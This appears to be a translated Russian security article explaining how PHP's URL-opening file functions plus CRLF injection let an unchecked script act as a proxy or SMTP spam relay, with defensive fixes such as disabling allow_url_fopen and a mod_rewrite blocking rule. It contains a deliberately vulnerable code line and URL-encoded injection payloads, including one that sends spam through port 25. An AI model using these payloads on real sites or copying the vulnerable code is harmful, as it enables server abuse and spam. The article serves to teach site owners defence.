Главная | Учебник | Статьи | FAQ | Книги | Ссылки |
Открытие файлов и внешние данные.
Jackie Treehorn
Перевод: Дмитрий Лебедев
Функции fopen, file, include и require могут открывать файлы с других сайтов по протоколам http и ftp. Эта возможность несёт в себе потенциальную уязвимость в php-скриптах, позволяющую использовать сайт как прокси.
Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.
В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.
В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.
Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих. Если имя файла начинается с "http://", сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr). Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную. Данная опция отключается в настройках php, параметр allow_url_fopen.
Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов». Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".
На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.
Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:
<?php echo implode("", file(substr($REQUEST_URI, 1)));</php>
От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com: http://n00b.programmer.com/http://example.com Другой вариант — все адреса на сайте имеют вид http://n00b.programmer.com/index.php?f=news В таком случае злоумышленник будет пробовать открыть адрес типа http://n00b.programmer.com/index.php?f=http://example.com Очень важно не доверять входящим данным и фильтровать при помощи регулярных выражений входящие запросы.
Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом. Если злоумышленник откроет путь
index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A Host:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+ %28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A
то скрипт выполнит HTTP-запрос:
GET example.com/ HTTP/1.0\r\n Host: example.com\r\n User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n var1=foo&var2=bar\r\n \r\n HTTP/1.0\r\n Host: www.site1.st\r\n User-Agent: PHP/4.1.2\r\n \r\n
Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса. Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.
Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег. Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство. Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром:
index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+ my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+ TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+ PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(должно быть одной строкой) модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:
GET / HTTP/1.0\r\n HELO my.own.machine\r\n MAIL FROM:\r\n RCPT TO:\r\n DATA\r\n i will never say the word PROCRASTINATE again\r\n .\r\n QUIT\r\n\r\n HTTP/1.0\r\n Host: mail.site1.st:25\r\n User-Agent: PHP/4.1.2\r\n\r\n
PHP и почтовый сервер будут ругаться, но письмо будет отправлено. Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной. На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.
Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.
Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки. Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".
Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции. Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку: php_value allow_url_fopen 0 Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.
Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя. Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://. Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты. В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.
Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси. Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:
RewriteRule ((%3A|:)25|%0D%0A) - [G]
При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.
Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки. В зависимости от разных условий оно может варьироваться.